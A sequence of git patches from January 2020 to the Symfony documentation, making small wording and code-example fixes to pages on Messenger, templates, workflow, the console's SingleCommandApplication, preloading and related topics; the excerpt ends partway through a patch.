+.. _`ISO 3166-1 alpha-3`: https://en.wikipedia.org/wiki/ISO_3166-1_alpha-3#Current_codes
+

From 1e0ced5e0728d47dda151c345c7c03a7c874664e Mon Sep 17 00:00:00 2001
From: Anani Ananiev <anani@taylorandhart.com>
Date: Mon, 6 Jan 2020 10:58:51 +0200
Subject: [PATCH 0154/7107] Fix a minor code mistake

---
 components/string.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/components/string.rst b/components/string.rst
index 83a3f875491..3db3a5df851 100644
--- a/components/string.rst
+++ b/components/string.rst
@@ -453,7 +453,7 @@ the injected slugger is the same as the request locale::
 
         public function someMethod()
         {
-            $slug = $slugger->slug('...');
+            $slug = $this->slugger->slug('...');
         }
     }
 

From 10e6500c091105c7845225334b9c9b8c45bcdd1f Mon Sep 17 00:00:00 2001
From: Fabien Potencier <fabien@potencier.org>
Date: Mon, 6 Jan 2020 11:15:29 +0100
Subject: [PATCH 0155/7107] Remove recommandation

---
 setup/symfony_server.rst | 16 +---------------
 1 file changed, 1 insertion(+), 15 deletions(-)

diff --git a/setup/symfony_server.rst b/setup/symfony_server.rst
index b1664ddb2f2..2e38b29884d 100644
--- a/setup/symfony_server.rst
+++ b/setup/symfony_server.rst
@@ -134,7 +134,7 @@ to override:
 Running Commands with Different PHP Versions
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
-When running different PHP versions it's useful to use the main ``symfony``
+When running different PHP versions, it is useful to use the main ``symfony``
 command as a wrapper for the ``php`` command. This allows you to always select
 the most appropriate PHP version according to the project which is running the
 commands. It also loads the env vars automatically, which is important when
@@ -149,20 +149,6 @@ running non-Symfony commands:
     # (or the default PHP version if the project didn't select one)
     $ symfony php -r "..."
 
-If you are using this wrapper frequently, consider aliasing the ``php`` command
-to it:
-
-.. code-block:: terminal
-
-    $ cd ~/.symfony/bin
-    $ cp symfony php
-    # now you can run "php ..." and the "symfony" command will be executed instead
-
-    # other PHP commands can be wrapped too using this trick
-    $ cp symfony php-config
-    $ cp symfony pear
-    $ cp symfony pecl
-
 Local Domain Names
 ------------------
 

From 39459bf970c6969c88a706f8d15775537173f143 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Tue, 7 Jan 2020 08:17:50 +0100
Subject: [PATCH 0156/7107] Backported #12892 changes to 3.4

---
 setup/symfony_server.rst | 16 +---------------
 1 file changed, 1 insertion(+), 15 deletions(-)

diff --git a/setup/symfony_server.rst b/setup/symfony_server.rst
index b1664ddb2f2..2e38b29884d 100644
--- a/setup/symfony_server.rst
+++ b/setup/symfony_server.rst
@@ -134,7 +134,7 @@ to override:
 Running Commands with Different PHP Versions
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
-When running different PHP versions it's useful to use the main ``symfony``
+When running different PHP versions, it is useful to use the main ``symfony``
 command as a wrapper for the ``php`` command. This allows you to always select
 the most appropriate PHP version according to the project which is running the
 commands. It also loads the env vars automatically, which is important when
@@ -149,20 +149,6 @@ running non-Symfony commands:
     # (or the default PHP version if the project didn't select one)
     $ symfony php -r "..."
 
-If you are using this wrapper frequently, consider aliasing the ``php`` command
-to it:
-
-.. code-block:: terminal
-
-    $ cd ~/.symfony/bin
-    $ cp symfony php
-    # now you can run "php ..." and the "symfony" command will be executed instead
-
-    # other PHP commands can be wrapped too using this trick
-    $ cp symfony php-config
-    $ cp symfony pear
-    $ cp symfony pecl
-
 Local Domain Names
 ------------------
 

From a00e5892af15c83de3fe6128730b4b391527d4a4 Mon Sep 17 00:00:00 2001
From: Ahmed TAILOULOUTE <ahmed.tailouloute@gmail.com>
Date: Wed, 8 Jan 2020 00:57:52 +0100
Subject: [PATCH 0157/7107] Update process.rst

---
 components/process.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/components/process.rst b/components/process.rst
index cce427238c6..7136dcc1048 100644
--- a/components/process.rst
+++ b/components/process.rst
@@ -146,7 +146,7 @@ operating system, you can write the above command as follows::
     $process = Process::fromShellCommandline('echo "${:MESSAGE}"');
 
 Portable commands require using a syntax that is specific to the component: when
-enclosing a variable name into ``"{$:`` and ``}"`` exactly, the process object
+enclosing a variable name into ``"${:`` and ``}"`` exactly, the process object
 will replace it with its escaped value, or will fail if the variable is not
 found in the list of environment variables attached to the command.
 

From 0be5b16cf63415996c6accde2408a23c883b7737 Mon Sep 17 00:00:00 2001
From: Maxime Steinhausser <maxime.steinhausser@elao.com>
Date: Wed, 8 Jan 2020 11:29:14 +0100
Subject: [PATCH 0158/7107] [Serializer] Remove note about CsvEncoder
 as_collection flag

This is the default since 5.0
---
 components/serializer.rst | 3 ---
 1 file changed, 3 deletions(-)

diff --git a/components/serializer.rst b/components/serializer.rst
index f614b9b3396..bad4af9572c 100644
--- a/components/serializer.rst
+++ b/components/serializer.rst
@@ -786,9 +786,6 @@ The ``CsvEncoder``
 
 The ``CsvEncoder`` encodes to and decodes from CSV.
 
-You can pass the context key ``as_collection`` in order to have the results
-always as a collection.
-
 The ``XmlEncoder``
 ~~~~~~~~~~~~~~~~~~
 

From e3fa2e6a368c8a4922c7f4c296cd22cba4999407 Mon Sep 17 00:00:00 2001
From: Christian Flothmann <christian.flothmann@xabbuh.de>
Date: Thu, 9 Jan 2020 10:06:37 +0100
Subject: [PATCH 0159/7107] remove getPublicDir() documentation

---
 bundles.rst | 29 -----------------------------
 1 file changed, 29 deletions(-)

diff --git a/bundles.rst b/bundles.rst
index c7a836481e5..21ecea9f606 100644
--- a/bundles.rst
+++ b/bundles.rst
@@ -117,35 +117,6 @@ database, create and validate forms, create translations for your application,
 write tests and much more. Each of these has their own place and role within
 the bundle.
 
-Overridding the Bundle Directory Structure
-~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
-
-Some of the bundle directories are conventions that can be overridden if needed.
-For example, the **public directory**, which by default is located at
-``<your-bundle>/Resources/public/``, can be changed by defining the
-``getPublicDir()`` method in the bundle class::
-
-    // src/Acme/TestBundle/AcmeTestBundle.php
-    namespace App\Acme\TestBundle;
-
-    use Symfony\Component\HttpKernel\Bundle\Bundle;
-
-    class AcmeTestBundle extends Bundle
-    {
-        // ...
-
-        // the returned value must be relative to the bundle root directory
-        // (public dir is now <your-bundle>/public/ instead of <your-bundle>/Resources/public/)
-        public function getPublicDir(): string
-        {
-            return 'public/';
-        }
-    }
-
-.. versionadded:: 4.4
-
-    The ``getPublicDir()`` method was introduced in Symfony 4.4.
-
 Learn more
 ----------
 

From 0536c0a272c16a5c61c32078bfc13c2f282d9f47 Mon Sep 17 00:00:00 2001
From: Ahmed TAILOULOUTE <ahmed.tailouloute@gmail.com>
Date: Thu, 9 Jan 2020 13:12:30 +0100
Subject: [PATCH 0160/7107] Update extending.rst

---
 components/expression_language/extending.rst | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/components/expression_language/extending.rst b/components/expression_language/extending.rst
index e3ec448a495..dc3db51692e 100644
--- a/components/expression_language/extending.rst
+++ b/components/expression_language/extending.rst
@@ -125,12 +125,12 @@ or by using the second argument of the constructor::
 
         class ExpressionLanguage extends BaseExpressionLanguage
         {
-            public function __construct(CacheItemPoolInterface $parser = null, array $providers = [])
+            public function __construct(CacheItemPoolInterface $cache = null, array $providers = [])
             {
                 // prepends the default provider to let users override it
                 array_unshift($providers, new StringExpressionLanguageProvider());
 
-                parent::__construct($parser, $providers);
+                parent::__construct($cache, $providers);
             }
         }
 

From 0e6a885541ec600d934bfe805bc5685a518f62ab Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Ole=20R=C3=B6=C3=9Fner?= <Basster@users.noreply.github.com>
Date: Thu, 9 Jan 2020 16:44:33 +0100
Subject: [PATCH 0161/7107] Hint for generating container preload file

The container preload file will only be generated when both factories and class_loader are inline, so you need to set both parameters to `true` explicitly.
---
 performance.rst | 4 ++++
 1 file changed, 4 insertions(+)

diff --git a/performance.rst b/performance.rst
index 77e10d1b593..8413844d132 100644
--- a/performance.rst
+++ b/performance.rst
@@ -113,6 +113,10 @@ with the ``preload`` suffix:
 
 .. _performance-configure-opcache:
 
+You need to set both parameters ``container.dumper.inline_factories`` and 
+``container.dumper.inline_class_loader`` to ``true`` to enable generating 
+the ``preload`` file during container compilation.
+
 Configure OPcache for Maximum Performance
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 

From 13af1948740eb853f9ca22a49b55c3d5381e5356 Mon Sep 17 00:00:00 2001
From: JJarrie <jarrie.jeremy@gmail.com>
Date: Fri, 10 Jan 2020 10:45:21 +0100
Subject: [PATCH 0162/7107] [Messenger] Redis example with Unix Socket

This is the documentation change for https://github.com/symfony/symfony/pull/35295
---
 messenger.rst | 2 ++
 1 file changed, 2 insertions(+)

diff --git a/messenger.rst b/messenger.rst
index 970dc7e2769..1e7f34e7169 100644
--- a/messenger.rst
+++ b/messenger.rst
@@ -885,6 +885,8 @@ The Redis transport uses `streams`_ to queue messages.
     MESSENGER_TRANSPORT_DSN=redis://localhost:6379/messages
     # Full DSN Example
     MESSENGER_TRANSPORT_DSN=redis://password@localhost:6379/messages/symfony/consumer?auto_setup=true&serializer=1&stream_max_entries=0&dbindex=0
+    # Unix Socket Example
+    MESSENGER_TRANSPORT_DSN=redis:///var/run/redis.sock
 
 To use the Redis transport, you will need the Redis PHP extension (>=4.3) and
 a running Redis server (^5.0).

From bf737c3867a35a193e266d958fbd284151efb450 Mon Sep 17 00:00:00 2001
From: Benjamin RICHARD <brichard@studiosystems.fr>
Date: Fri, 10 Jan 2020 15:36:16 +0100
Subject: [PATCH 0163/7107] [FrameworkBundle] Template Controller should accept
 extra arguments fix #12929

---
 templates.rst | 17 +++++++++++------
 1 file changed, 11 insertions(+), 6 deletions(-)

diff --git a/templates.rst b/templates.rst
index 8a78b8d07ff..1316e19ce40 100644
--- a/templates.rst
+++ b/templates.rst
@@ -477,8 +477,9 @@ definition. Use the special ``TemplateController`` provided by Symfony:
                 sharedAge: 86400
 
                 # optionally you can define some arguments passed to the template
-                site_name: 'ACME'
-                theme: 'dark'
+                context:
+                    site_name: 'ACME'
+                    theme: 'dark'
 
     .. code-block:: xml
 
@@ -499,8 +500,10 @@ definition. Use the special ``TemplateController`` provided by Symfony:
                 <default key="sharedAge">86400</default>
 
                 <!-- optionally you can define some arguments passed to the template -->
-                <default key="site_name">ACME</default>
-                <default key="theme">dark</default>
+                <default key="context">
+                    <default key="site_name">ACME</default>
+                    <default key="theme">dark</default>
+                </default>
             </route>
         </routes>
 
@@ -522,8 +525,10 @@ definition. Use the special ``TemplateController`` provided by Symfony:
                     'sharedAge' => 86400,
 
                     // optionally you can define some arguments passed to the template
-                    'site_name' => 'ACME',
-                    'theme' => 'dark',
+                    'context' => [
+                        'site_name' => 'ACME',
+                        'theme' => 'dark',
+                    ]
                 ])
             ;
         };

From 3d2e176d4f823ac7237c103f7532527efc58b44b Mon Sep 17 00:00:00 2001
From: Nicolas PHILIPPE <nikophil@gmail.com>
Date: Fri, 10 Jan 2020 15:53:35 +0100
Subject: [PATCH 0164/7107] [Messenger] Add an example for
 messenger:failed:remove with several ids

---
 messenger.rst | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/messenger.rst b/messenger.rst
index 970dc7e2769..37b62847ce7 100644
--- a/messenger.rst
+++ b/messenger.rst
@@ -712,8 +712,8 @@ to retry them:
     # retry specific messages
     $ php bin/console messenger:failed:retry 20 30 --force
 
-    # remove a message without retrying it
-    $ php bin/console messenger:failed:remove 20
+    # remove messages without retrying them and show each message before removing it
+    $ php bin/console messenger:failed:remove 20 30 --show-messages
 
 If the message fails again, it will be re-sent back to the failure transport
 due to the normal :ref:`retry rules <messenger-retries-failures>`. Once the max

From 940d0a9c80d4064ed4fedf533b27f520647f8afa Mon Sep 17 00:00:00 2001
From: David Maicher <mail@dmaicher.de>
Date: Fri, 10 Jan 2020 16:07:22 +0100
Subject: [PATCH 0165/7107] Fix dama/doctrine-test-bundle docs

To sync this with the change made here: https://github.com/dmaicher/doctrine-test-bundle/commit/f9abe2c8609352e3989f729031163acf8b7670ef

The PHPUnit extension does not work properly for PHPUnit < 7.4 :confused:
---
 testing/database.rst | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/testing/database.rst b/testing/database.rst
index ed587f3427e..0ecf9149eba 100644
--- a/testing/database.rst
+++ b/testing/database.rst
@@ -48,12 +48,12 @@ Now, enable it as a PHPUnit extension or listener:
     <phpunit>
         <!-- ... -->
 
-        <!-- Add this for PHPUnit 7.1 or higher -->
+        <!-- Add this for PHPUnit 7.5 or higher -->
         <extensions>
             <extension class="DAMA\DoctrineTestBundle\PHPUnit\PHPUnitExtension"/>
         </extensions>
 
-        <!-- Add this for PHPUnit 7.0 -->
+        <!-- Add this for PHPUnit 7.0 until 7.4 -->
         <listeners>
             <listener class="\DAMA\DoctrineTestBundle\PHPUnit\PHPUnitListener"/>
         </listeners>

From c3d9d504f06d86aafff34f33bdbd2907e11c52e8 Mon Sep 17 00:00:00 2001
From: Xavier <xavier.lefebure@gmail.com>
Date: Fri, 10 Jan 2020 21:09:20 +0100
Subject: [PATCH 0166/7107] Update setup.rst

---
 setup.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/setup.rst b/setup.rst
index f3a1203f1a8..3079f723d5e 100644
--- a/setup.rst
+++ b/setup.rst
@@ -251,7 +251,7 @@ create new projects. If you use Composer, you need to tell the exact version:
 
 .. code-block:: terminal
 
-    $ composer create-project symfony/website-skeleton:^4.4 my_project_name
+    $ composer create-project symfony/website-skeleton my_project_name "^4"
 
 The Symfony Demo application
 ----------------------------

From a8597f01c1ad637a988317e670e55d929eaad861 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Sun, 12 Jan 2020 13:13:34 +0100
Subject: [PATCH 0167/7107] Added the versionadded directive

---
 templates.rst | 4 ++++
 1 file changed, 4 insertions(+)

diff --git a/templates.rst b/templates.rst
index 1316e19ce40..2b289af7d93 100644
--- a/templates.rst
+++ b/templates.rst
@@ -533,6 +533,10 @@ definition. Use the special ``TemplateController`` provided by Symfony:
             ;
         };
 
+.. versionadded:: 5.1
+
+    The ``context`` option was introduced in Symfony 5.1.
+
 Checking if a Template Exists
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 

From 3095dff66452a1282a77427977e20a907b78dc9e Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 10 Jan 2020 11:13:39 +0100
Subject: [PATCH 0168/7107] [Notifier] Added a placeholder article for the
 component docs

---
 components/notifier.rst | 33 +++++++++++++++++++++++++++++++++
 1 file changed, 33 insertions(+)
 create mode 100644 components/notifier.rst

diff --git a/components/notifier.rst b/components/notifier.rst
new file mode 100644
index 00000000000..26dd08eac42
--- /dev/null
+++ b/components/notifier.rst
@@ -0,0 +1,33 @@
+.. index::
+   single: Notifier
+   single: Notifications
+   single: Components; Notifier
+
+The Notifier Component
+======================
+
+    The Notifier component sends notifications via one or more channels
+    (email, SMS, Slack, ...).
+
+.. versionadded:: 5.0
+
+    The String component was introduced in Symfony 5.0 as an
+    :doc:`experimental feature </contributing/code/experimental>`.
+
+Installation
+------------
+
+.. code-block:: terminal
+
+    $ composer require symfony/notifier
+
+.. include:: /components/require_autoload.rst.inc
+
+
+Usage
+-----
+
+.. caution::
+
+	We're still working on the docs of this component. Check this page again
+	in a few days.

From b8e2151acbfcdb0160bb0f41cc5599ecec08924a Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Sun, 12 Jan 2020 13:29:49 +0100
Subject: [PATCH 0169/7107] Removed the versionadded directive

---
 components/notifier.rst | 5 -----
 1 file changed, 5 deletions(-)

diff --git a/components/notifier.rst b/components/notifier.rst
index 26dd08eac42..9e7be5c4197 100644
--- a/components/notifier.rst
+++ b/components/notifier.rst
@@ -9,11 +9,6 @@ The Notifier Component
     The Notifier component sends notifications via one or more channels
     (email, SMS, Slack, ...).
 
-.. versionadded:: 5.0
-
-    The String component was introduced in Symfony 5.0 as an
-    :doc:`experimental feature </contributing/code/experimental>`.
-
 Installation
 ------------
 

From df2160f2e494792117d1c156beb8f03cbf99cd18 Mon Sep 17 00:00:00 2001
From: Robert Nagy <robnagy@users.noreply.github.com>
Date: Thu, 9 Jan 2020 10:45:47 +0000
Subject: [PATCH 0170/7107] Update workflow-and-state-machine.rst

---
 workflow/workflow-and-state-machine.rst | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/workflow/workflow-and-state-machine.rst b/workflow/workflow-and-state-machine.rst
index 3bb774dfaef..f82a1f3c729 100644
--- a/workflow/workflow-and-state-machine.rst
+++ b/workflow/workflow-and-state-machine.rst
@@ -10,9 +10,9 @@ user submits a series of different forms to complete a task. Such processes are
 best kept away from your models and should be defined in configuration.
 
 A **definition** of a workflow consists of places and actions to get from one
-place to another. The actions are called **transitions**. A workflow does also
-need to know each object's position in the workflow. That **marking store**
-writes to a property of the object to remember the current place.
+place to another. The actions are called **transitions**. A workflow also needs to
+know each object's position in the workflow. The **marking store** writes
+the current place to a property on the object.
 
 .. note::
 

From 3af2345ec06b0e1c3413ff5c89489deca15b7aa3 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Sun, 12 Jan 2020 19:47:36 +0100
Subject: [PATCH 0171/7107] Minor tweak

---
 performance.rst | 14 +++++++-------
 1 file changed, 7 insertions(+), 7 deletions(-)

diff --git a/performance.rst b/performance.rst
index 8413844d132..d5614320545 100644
--- a/performance.rst
+++ b/performance.rst
@@ -102,9 +102,13 @@ Starting from PHP 7.4, OPcache can compile and load classes at start-up and
 make them available to all requests until the server is restarted, improving
 performance significantly.
 
-Symfony generates the file automatically with the list of classes to preload.
-The file path is the same as the file generated for the service container but
-with the ``preload`` suffix:
+During container compilation, Symfony generates the file with the list of
+classes to preload. The only requirement is that you need to set both
+``container.dumper.inline_factories`` and  ``container.dumper.inline_class_loader``
+parameters to ``true``.
+
+The preload file path is the same as the compiled service container but with the
+``preload`` suffix:
 
 .. code-block:: ini
 
@@ -113,10 +117,6 @@ with the ``preload`` suffix:
 
 .. _performance-configure-opcache:
 
-You need to set both parameters ``container.dumper.inline_factories`` and 
-``container.dumper.inline_class_loader`` to ``true`` to enable generating 
-the ``preload`` file during container compilation.
-
 Configure OPcache for Maximum Performance
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 

From 569151f23c933dc739aecc1eb46c8c0a9e49d4de Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?=CE=A5=D0=BE=D0=B0nn=20B?= <yobrx@users.noreply.github.com>
Date: Wed, 8 Jan 2020 14:01:34 +0100
Subject: [PATCH 0172/7107] Fix lock.invoice.retry_till_save.store decoration

---
 reference/configuration/framework.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/reference/configuration/framework.rst b/reference/configuration/framework.rst
index d604127b48e..81bbb7c1c5f 100644
--- a/reference/configuration/framework.rst
+++ b/reference/configuration/framework.rst
@@ -2366,7 +2366,7 @@ Name of the lock you want to create.
         lock.invoice.retry_till_save.store:
             class: Symfony\Component\Lock\Store\RetryTillSaveStore
             decorates: lock.invoice.store
-            arguments: ['@lock.invoice.retry.till.save.store.inner', 100, 50]
+            arguments: ['@lock.invoice.retry_till_save.store.inner', 100, 50]
 
 ``workflows``
 ~~~~~~~~~~~~~

From 6011b514254ded72fc461d68e6da4237d9181b38 Mon Sep 17 00:00:00 2001
From: Kane Menicou <kane.menicou@vivait.co.uk>
Date: Thu, 9 Jan 2020 22:44:34 +0000
Subject: [PATCH 0173/7107] Fixes unclear sentence in finder.rst

---
 components/finder.rst | 4 +---
 1 file changed, 1 insertion(+), 3 deletions(-)

diff --git a/components/finder.rst b/components/finder.rst
index a607e359664..d502086b4d6 100644
--- a/components/finder.rst
+++ b/components/finder.rst
@@ -144,9 +144,7 @@ And it also works with user-defined streams::
 Files or Directories
 ~~~~~~~~~~~~~~~~~~~~
 
-By default, the Finder returns files and directories; but the
-:method:`Symfony\\Component\\Finder\\Finder::files` and
-:method:`Symfony\\Component\\Finder\\Finder::directories` methods control that::
+By default, the Finder returns both files and directories. If you need to find either files or directories only, use the :method:`Symfony\\Component\\Finder\\Finder::files` and :method:`Symfony\\Component\\Finder\\Finder::directories` methods::
 
     $finder->files();
 

From 0da59017ba6f7be5b117d7ca3267b864f10861de Mon Sep 17 00:00:00 2001
From: Arman Hosseini <namra.1377@gmail.com>
Date: Tue, 14 Jan 2020 17:35:33 +0330
Subject: [PATCH 0174/7107] Use the get method instead of using the array

---
 controller/upload_file.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/controller/upload_file.rst b/controller/upload_file.rst
index 179dbe5dd0d..c051ba97855 100644
--- a/controller/upload_file.rst
+++ b/controller/upload_file.rst
@@ -143,7 +143,7 @@ Finally, you need to update the code of the controller that handles the form::
 
             if ($form->isSubmitted() && $form->isValid()) {
                 /** @var UploadedFile $brochureFile */
-                $brochureFile = $form['brochure']->getData();
+                $brochureFile = $form->get('brochure')->getData();
 
                 // this condition is needed because the 'brochure' field is not required
                 // so the PDF file must be processed only when a file is uploaded

From 8b26d012021665f63f0a5ff77d6fcc24a52b2ebb Mon Sep 17 00:00:00 2001
From: HypeMC <hypemc@gmail.com>
Date: Wed, 15 Jan 2020 05:00:13 +0100
Subject: [PATCH 0175/7107] Update example to use tagged_locator helper
 function

---
 service_container/service_subscribers_locators.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/service_container/service_subscribers_locators.rst b/service_container/service_subscribers_locators.rst
index faeb04fe5c5..5a12cf1c3e6 100644
--- a/service_container/service_subscribers_locators.rst
+++ b/service_container/service_subscribers_locators.rst
@@ -555,7 +555,7 @@ attribute to the locator service defining the name of this custom method:
         return function(ContainerConfigurator $configurator) {
             $configurator->services()
                 ->set(App\HandlerCollection::class)
-                    ->args([service_locator(tagged('app.handler', null, 'myOwnMethodName'))])
+                    ->args([tagged_locator('app.handler', null, 'myOwnMethodName')])
             ;
         };
 

From 56fe83b3a41759fdc4a4ec96048d57fdf7beec7c Mon Sep 17 00:00:00 2001
From: KHACHIAI Oussama <oussama.khachiai@gmail.com>
Date: Tue, 14 Jan 2020 09:57:30 +0100
Subject: [PATCH 0176/7107] adding the * to .xml in the Conf Env

---
 configuration.rst | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/configuration.rst b/configuration.rst
index d658714e4b3..8fe6169b8ec 100644
--- a/configuration.rst
+++ b/configuration.rst
@@ -351,8 +351,8 @@ development), ``prod`` (for production servers) and ``test`` (for
 the configuration files in this order (the last files can override the values
 set in the previous ones):
 
-#. ``config/packages/*.yaml`` (and ``.xml`` and ``*.php`` files too);
-#. ``config/packages/<environment-name>/*.yaml`` (and ``.xml`` and ``*.php`` files too);
+#. ``config/packages/*.yaml`` (and ``*.xml`` and ``*.php`` files too);
+#. ``config/packages/<environment-name>/*.yaml`` (and ``*.xml`` and ``*.php`` files too);
 #. ``config/packages/services.yaml`` (and ``services.xml`` and ``services.php`` files too);
 
 Take the ``framework`` package, installed by default, as an example:

From 57ac25dfa0af82adebb2d6fe76a618264938e778 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Gr=C3=A9goire=20Pineau?= <lyrixx@lyrixx.info>
Date: Tue, 14 Jan 2020 11:53:20 +0100
Subject: [PATCH 0177/7107] [workflow] Added a way to not fire the announce
 event

---
 workflow.rst | 4 ++++
 1 file changed, 4 insertions(+)

diff --git a/workflow.rst b/workflow.rst
index d1c78568879..fcaf6bb90bc 100644
--- a/workflow.rst
+++ b/workflow.rst
@@ -334,6 +334,10 @@ order:
     * ``workflow.[workflow name].announce``
     * ``workflow.[workflow name].announce.[transition name]``
 
+    You can avoid those events by using the context::
+
+        $workflow->apply($subject, $transitionName, [Workflow::DISABLE_ANNOUNCE_EVENT => true]);
+
 .. note::
 
     The leaving and entering events are triggered even for transitions that stay

From bca160149adcdc67c2585d350d818d431056540a Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Wed, 15 Jan 2020 08:29:57 +0100
Subject: [PATCH 0178/7107] Added the versionadded directive

---
 workflow.rst | 6 +++++-
 1 file changed, 5 insertions(+), 1 deletion(-)

diff --git a/workflow.rst b/workflow.rst
index fcaf6bb90bc..b5c974354be 100644
--- a/workflow.rst
+++ b/workflow.rst
@@ -334,10 +334,14 @@ order:
     * ``workflow.[workflow name].announce``
     * ``workflow.[workflow name].announce.[transition name]``
 
-    You can avoid those events by using the context::
+    You can avoid triggering those events by using the context::
 
         $workflow->apply($subject, $transitionName, [Workflow::DISABLE_ANNOUNCE_EVENT => true]);
 
+    .. versionadded:: 5.1
+
+        The ``Workflow::DISABLE_ANNOUNCE_EVENT`` constant was introduced in Symfony 5.1.
+
 .. note::
 
     The leaving and entering events are triggered even for transitions that stay

From 70d523c7c581f973e2ee589f3ce4946077a718e9 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Gr=C3=A9goire=20Pineau?= <lyrixx@lyrixx.info>
Date: Fri, 10 Jan 2020 10:07:03 +0100
Subject: [PATCH 0179/7107] [Console] Updated section 'Building a single
 Command Application' with the new 'SingleCommandApplication'

---
 components/console/single_command_tool.rst | 40 +++++++++++++---------
 1 file changed, 23 insertions(+), 17 deletions(-)

diff --git a/components/console/single_command_tool.rst b/components/console/single_command_tool.rst
index 74c554c46ef..91b17b47c61 100644
--- a/components/console/single_command_tool.rst
+++ b/components/console/single_command_tool.rst
@@ -5,34 +5,36 @@ Building a single Command Application
 =====================================
 
 When building a command line tool, you may not need to provide several commands.
-In such case, having to pass the command name each time is tedious. Fortunately,
-it is possible to remove this need by declaring a single command application::
+In such case, having to pass the command name each time is tedious.
+
+.. versionadded:: 5.1
+
+    The class :class:`Symfony\\Component\\Console\\SingleCommandApplication` was
+    introduced in Symfony 5.1.
+
+Fortunately, it is possible to remove this need by declaring a single command
+application::
 
     #!/usr/bin/env php
     <?php
     require __DIR__.'/vendor/autoload.php';
 
-    use Symfony\Component\Console\Application;
     use Symfony\Component\Console\Input\InputArgument;
     use Symfony\Component\Console\Input\InputInterface;
     use Symfony\Component\Console\Input\InputOption;
     use Symfony\Component\Console\Output\OutputInterface;
-
-    (new Application('echo', '1.0.0'))
-        ->register('echo')
-            ->addArgument('foo', InputArgument::OPTIONAL, 'The directory')
-            ->addOption('bar', null, InputOption::VALUE_REQUIRED)
-            ->setCode(function(InputInterface $input, OutputInterface $output) {
-                // output arguments and options
-            })
-        ->getApplication()
-        ->setDefaultCommand('echo', true) // Single command application
+    use Symfony\Component\Console\SingleCommandApplication;
+
+    (new SingleCommandApplication())
+        ->setName('My Super Command') // Optional
+        ->setVersion('1.0.0') // Optional
+        ->addArgument('foo', InputArgument::OPTIONAL, 'The directory')
+        ->addOption('bar', null, InputOption::VALUE_REQUIRED)
+        ->setCode(function (InputInterface $input, OutputInterface $output) {
+            // output arguments and options
+        })
         ->run();
 
-The method :method:`Symfony\\Component\\Console\\Application::setDefaultCommand`
-accepts a boolean as second parameter. If true, the command ``echo`` will then
-always be used, without having to pass its name.
-
 You can still register a command as usual::
 
     #!/usr/bin/env php
@@ -49,3 +51,7 @@ You can still register a command as usual::
 
     $application->setDefaultCommand($command->getName(), true);
     $application->run();
+
+The method :method:`Symfony\\Component\\Console\\Application::setDefaultCommand`
+accepts a boolean as second parameter. If true, the command ``echo`` will then
+always be used, without having to pass its name.

From 6f6d73b08e58d864ed4079150db811a61feb6e58 Mon Sep 17 00:00:00 2001
From: Oskar Stark <oskarstark@googlemail.com>
Date: Thu, 16 Jan 2020 05:56:41 +0100
Subject: [PATCH 0180/7107] minor. refs #12917

---
 components/console/single_command_tool.rst | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/components/console/single_command_tool.rst b/components/console/single_command_tool.rst
index 91b17b47c61..500d679d1e1 100644
--- a/components/console/single_command_tool.rst
+++ b/components/console/single_command_tool.rst
@@ -9,7 +9,7 @@ In such case, having to pass the command name each time is tedious.
 
 .. versionadded:: 5.1
 
-    The class :class:`Symfony\\Component\\Console\\SingleCommandApplication` was
+    The :class:`Symfony\\Component\\Console\\SingleCommandApplication` class was
     introduced in Symfony 5.1.
 
 Fortunately, it is possible to remove this need by declaring a single command
@@ -52,6 +52,6 @@ You can still register a command as usual::
     $application->setDefaultCommand($command->getName(), true);
     $application->run();
 
-The method :method:`Symfony\\Component\\Console\\Application::setDefaultCommand`
+The :method:`Symfony\\Component\\Console\\Application::setDefaultCommand` method
 accepts a boolean as second parameter. If true, the command ``echo`` will then
 always be used, without having to pass its name.

From 8bffa0691ac09a3fc144b9ce27c125398fd89002 Mon Sep 17 00:00:00 2001
From: Oskar Stark <oskarstark@googlemail.com>
Date: Thu, 16 Jan 2020 06:00:26 +0100
Subject: [PATCH 0181/7107] Move method and class

It reads more natural to me
---
 components/console/single_command_tool.rst | 2 +-
 components/options_resolver.rst            | 2 +-
 components/routing.rst                     | 2 +-
 components/security/authentication.rst     | 4 ++--
 reference/constraints/File.rst             | 2 +-
 validation.rst                             | 2 +-
 workflow.rst                               | 2 +-
 7 files changed, 8 insertions(+), 8 deletions(-)

diff --git a/components/console/single_command_tool.rst b/components/console/single_command_tool.rst
index 74c554c46ef..457efb48dae 100644
--- a/components/console/single_command_tool.rst
+++ b/components/console/single_command_tool.rst
